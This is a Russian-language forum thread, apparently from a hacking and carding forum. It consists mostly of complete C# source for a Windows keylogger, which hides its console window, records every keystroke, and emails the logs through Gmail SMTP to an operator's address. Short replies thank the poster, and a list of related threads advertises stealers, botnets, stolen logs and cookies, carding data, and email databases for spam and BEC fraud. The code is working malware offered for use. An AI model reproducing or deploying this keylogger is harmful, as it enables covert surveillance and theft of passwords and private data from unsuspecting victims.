C# keylogger (logs to email)

  • Автор темы Secruity(ушел в подполье)
  • Дата начала
S

Secruity(ушел в подполье)

Original poster
Код:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace winklog
{
using System;
using System.IO;
using System.Net;
using System.Net.Mail;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
internal class winklog
{
public winklog() { }
[DllImport("user32.dll", SetLastError = false)]
private static extern short GetAsyncKeyState(int vKey);
[DllImport("user32.dll", SetLastError = false)]
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll", SetLastError = false)]
private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
static void Main(string[] args)
{
IntPtr intPtr;
string str;
int i;
bool bl;
//Email parameters: just as a note, it is pre-setup to work with Gmail. To edit, look up your mail host's information and edit here
string host = "smtp.gmail.com", userName, pswd= "", fromAddress= "", toAddress= "", body, subject = string.Concat("New Log from ", Environment.MachineName), fileName;
int port = 587;
bool sslEnabled = true;
if (args.Length != 4)
{
Console.WriteLine("Username: ");
userName = Console.ReadLine();
if (userName == "default")
{
//fill in from file
}
else
{
Console.WriteLine("From: ");
fromAddress = Console.ReadLine();
Console.WriteLine("To: ");
toAddress = Console.ReadLine();
pswd = Returnpassword();
}
}
else
{
userName = args[0].ToString();
fromAddress = args[1].ToString();
toAddress = args[2].ToString();
pswd = args[3].ToString();
}
intPtr = winklog.FindWindow(null, Console.Title);
bl = intPtr == IntPtr.Zero;
if (!bl)
{
winklog.ShowWindow(intPtr, 0);
}
str = "";
while (true)
{
while ((str.Length < 250))
{
i = 1;
while ((i < 255))
{
bl = winklog.GetAsyncKeyState(i) == 0;
if (!bl)
{
str = string.Concat(str, checkExceptions(i));
Console.WriteLine(str);
Thread.Sleep(115);
}
i++;
}
}
DateTime dtm = DateTime.Now;
string str1 = DateTime.Now.ToString();
str1 = str1.Replace(':', '_');
str1 = str1.Replace('/', '_');
fileName = string.Concat(Environment.CurrentDirectory, "\\Log_", str1, ".txt");
FileStream fileStream = new FileStream(fileName, FileMode.CreateNew, FileAccess.Write);
StreamWriter streamWriter = new StreamWriter(fileStream);
streamWriter.Write(str);
streamWriter.Close();
fileStream.Close();
DateTime dtm1 = DateTime.Now;
winklog.SendMail(host, port, userName, pswd, fromAddress, toAddress, body = string.Concat("Key log for ", DateTime.Now.ToString()), subject, sslEnabled, fileName);
str = "";
}
}
public static void SendMail(string host, int port, string userName, string pswd, string fromAddress, string toAddress, string body, string subject, bool sslEnabled, string fileName)
{
MailMessage mailMessage;
SmtpClient smtpClient;
mailMessage = new MailMessage(new MailAddress(fromAddress), new MailAddress(toAddress));
mailMessage.Subject = subject;
mailMessage.SubjectEncoding = Encoding.UTF8;
mailMessage.Body = body;
mailMessage.BodyEncoding = Encoding.UTF8;
mailMessage.IsBodyHtml = false;
mailMessage.Attachments.Add(new Attachment(fileName));
smtpClient = new SmtpClient(host, port);
smtpClient.Credentials = new NetworkCredential(userName, pswd);
smtpClient.EnableSsl = sslEnabled;
try
{
smtpClient.Send(mailMessage);
Console.WriteLine("Your message was sent successfully.");
}
catch (SmtpException smtpException1)
{
Console.WriteLine("There was an error sending your message. {0}", smtpException1.Message);
}
}
public static string Returnpassword()
{
Console.WriteLine("Password: ");
string password = "";
ConsoleKeyInfo info = Console.ReadKey(true);
while (info.Key != ConsoleKey.Enter)
{
if (info.Key != ConsoleKey.Backspace)
{
password += info.KeyChar;
info = Console.ReadKey(true);
}
else if (info.Key == ConsoleKey.Backspace)
{
if (!string.IsNullOrEmpty(password))
{
password = password.Substring
(0, password.Length - 1);
}
info = Console.ReadKey(true);
}
}
for (int i = 0; i < password.Length; i++)
Console.Write("*");
return password;
}
public static string checkExceptions(int i)
{
switch (i)
{
case 1:
return "<Left Click>";
case 2:
return "<Right Click>";
case 8:
return "<BackSpace>";
case 9:
return "<Tab>";
case 13:
return "<Enter>";
case 0x10:
return "";
case 0x11:
return "";
case 0x12:
return "";
case 20:
return "<Caps Lock>";
case 0x21:
return "<Page Up>";
case 0x22:
return "<Page Down>";
case 0x23:
return "<End>";
case 0x24:
return "<Home>";
case 0x25:
return "<Left Arrow>";
case 0x26:
return "<Up Arrow>";
case 0x27:
return "<Right Arrow>";
case 40:
return "<Down Arrow>";
case 0x2c:
return "<Prnt Scrn>";
case 0x2d:
return "<Insert>";
case 0x5b:
return "<Windows Key>";
case 0x5d:
return "<Menu Key>";
case 0x70:
return "<F1>";
case 0x71:
return "<F2>";
case 0x72:
return "<F3>";
case 0x73:
return "<F4>";
case 0x74:
return "<F5>";
case 0x75:
return "<F6>";
case 0x76:
return "<F7>";
case 0x77:
return "<F8>";
case 120:
return "<F9>";
case 0x79:
return "<F10>";
case 0x7a:
return "<F11>";
case 0x7b:
return "<F12>";
case 0x90:
return "<Num Lk>";
case 160:
return "<Left Shift>";
case 0xa1:
return "<Right Shift>";
case 0xa2:
return "<Ctrl>";
case 0xa3:
return "<Ctrl>";
case 0xa4:
return "<Alt>";
case 0xa5:
return "<Alt>";
case 0xba:
return ";";
case 0xbb:
return "=";
case 0xbc:
return ",";
case 0xbd:
return "-";
case 190:
return ".";
case 0xbf:
return "/";
case 0xdb:
return "[";
case 220:
return @"\";
case 0xdd:
return "]";
case 0xde:
return "'";
}
char ch = (char)i;
return ch.ToString();
}
}
Подойдет для начинающих разобратся в сути кода)
 
1

100kWT

Original poster
Годная тема, как раз сейчас изучаю Сишку. Спасибо.
 
N

npocmo_kpyk

Original poster
Подскажите пожалуйста мануал или ссылку на статью с обяснением всего таких кодов..)
 
Название темы
Автор Заголовок Раздел Ответы Дата
S Интересно StormKitty-Mod-v1.7 - Stealer + Clipper + Keylogger Вирусология 15
S Интересно StormKitty - Stealer + Clipper + Keylogger Вирусология 2
NickelBlack BlackNET Botnet v3.5 [Stealer+Keylogger+DDOS] .NET 24
S Orion Keylogger 2.1 Cracked Spam/DDOS/Malware 0
L УДАЛЁННЫЙ ДОСТУП К ПК RCB VER 5.0 (RMS, LM, STEALER, BTC REPLACE, ETH REPLACE, KEYLOGGER) Софт для работы с текстом/Другой софт 2
B KeyLogger с помощью PuntoSwitcher Полезные статьи 2
N Zabugor LOGS + COOKIES FACEBOOK TWITTER INSTAGRAM TINDER SHOP Раздача email 0
vulcanixx [BLTools] Best Logs/Cookies Checker - 31 services Бруты/Парсеры/Чекеры 0
Spyderproxy Куплю ⚡️ SPYDERPROXY | NO-LOGS & NO-KYC ⭐ DATA, LTE, RESIDENTIAL, STATIC | STARTS AT $2.00⚡ Дедики/VPN/соксы/ssh 0
V Продам Selling 100% Good Cc Cvv,Fullz,dumps+pin,Bank Logs , CASHAPP Куплю/Продам 0
sadrose Куплю Check logs Google Pay Финансы - биллинги, банки, кошельки, логи 2
V Куплю Buy Facebook Logs Куплю/Продам 2
W BASE(COMBO) EXTRACTOR | STEALER LOGS Уязвимости и взлом 0
Soul_Service Проверено Crypto Logs от Soules | 2FA/SMS | SEED PHRASE | WALLETS | PRIVATE KEY Финансы - биллинги, банки, кошельки, логи 1
K Free logs Другое 0
O Amazon Account Brute Checker + save cookies 2022 (COMBOS/LOGS) by Regular Software Бруты/Парсеры/Чекеры 1
Rock0007 Куплю Buying Logs | AWS | Digital ocean | Google cloud | Linode |Atlatic cloud | Scaleway | vultr | and other all clouds Куплю/Продам 5
A Logs [India[IN]] ~ 953 Другое 0
K Интересно [BLTools] Best Logs Cookies Checker Логов Бруты/Парсеры/Чекеры 3
L La Casa de LOGS: Свежие логи каждый день со всего мира - Google Pay / Gmail / Facebook / A+++ Финансы - биллинги, банки, кошельки, логи 1
S Продам Sale combo mail valid, request, logs, accounts Все что не подошло по разделу 1
B Куплю Buy Links From All Logs Куплю/Продам 1
M Sale mail valid, request, logs, cookie, Facebook, Uber, ebay, Amazon Корзина 0
E Куплю Обменяюсь логами, отработкой. микс. // exchange logs mix Куплю/Продам 0
D Продам Sale mail valid, request, logs, cookie, gift, Facebook, Uber, ebay, Amazon. Финансы - биллинги, банки, кошельки, логи 0
АнАлЬнАя ЧуПаКаБрА Интересно [USA+ Mикс] 8GB Logs из платного облака. Другое 6
R Продам ROSS LOGS STORE - МАГАЗИН ТОП ЛОГОВ НА РЫНКЕ 24/7 PP/AMAZON/EBAY/BTC/CC Карты/CC/Банки/Enroll 0
2 Продам Самый крупный Marketplace по продаже ЛОГОВ (amazon,paypal,btc,bank logs.....) Финансы - биллинги, банки, кошельки, логи 17
B Закрыто Sell Game logs Корзина 0
L Проверено LOGS FACEBOOK EU Финансы - биллинги, банки, кошельки, логи 1
B Проверено [МАГАЗИН] Telegram Bot Logs Seller Финансы - биллинги, банки, кошельки, логи 0
A Закрыто Продам Логи Azor | Sell Logs Azor Корзина 0
H Куплю Requires the purchase of any hybrid email password database Куплю/Продам 0
H Куплю Requires the purchase of any hybrid email password database Куплю/Продам 0
dadyoumom Ожидает оплаты Массовая Email | SMS рассылка / Bulk Email | SMS sender. Продажа софта 1
H Куплю Requires purchase of hybrid email password database Куплю/Продам 0
M Valid ║$║║$║║$║HIGH QUALITY COMBOLIST EMAIL ❤️ PASS║$║║$║║$║ Раздача email 0
Support81 92% атак по email: электронная почта остается главной лазейкой для фишеров Новости в сети 0
H Куплю Requires purchase of hybrid email password database Куплю/Продам 2
H Продам Buy Hybrid Email Passwords Куплю/Продам 0
H Куплю Buy Hybrid Email Passwords Куплю/Продам 0
Support81 Градус email-фишинга повышается: TA866 использует новый метод атаки Новости в сети 0
RonyKing247 Valid [Leads Giveaway] Shopping customers opt in ||email address sorted leads || Worldwide Раздача email 0
RonyKing247 500k+ Argentinean Shoppers Sales Data with Name, email, phone , DNI number et al Раздача email 2
RonyKing247 MIX [SELLING] Several Companies Management staffs & Employees Email Databases || USA, UK et al || For Spamming, BEC etc Раздача email 1
RonyKing247 [QUICK Clearance Sale] Forex and crypto Trading files || United Kingdom|| Email, Phone, depositors et al. Раздача email 0
V Нуждаюсь в рассылке на email Спам, рассылки, трафик, SEO 0
RonyKing247 MIX [Selling] A $9.4 billion firm & other employees' email data. || Multiple countries Раздача email 2
E Интересно Вопрос по базам email Вопросы и интересы 1
zladey1986 Закрыто Спам рассылка на Email с помощью Youtube Корзина 1

Название темы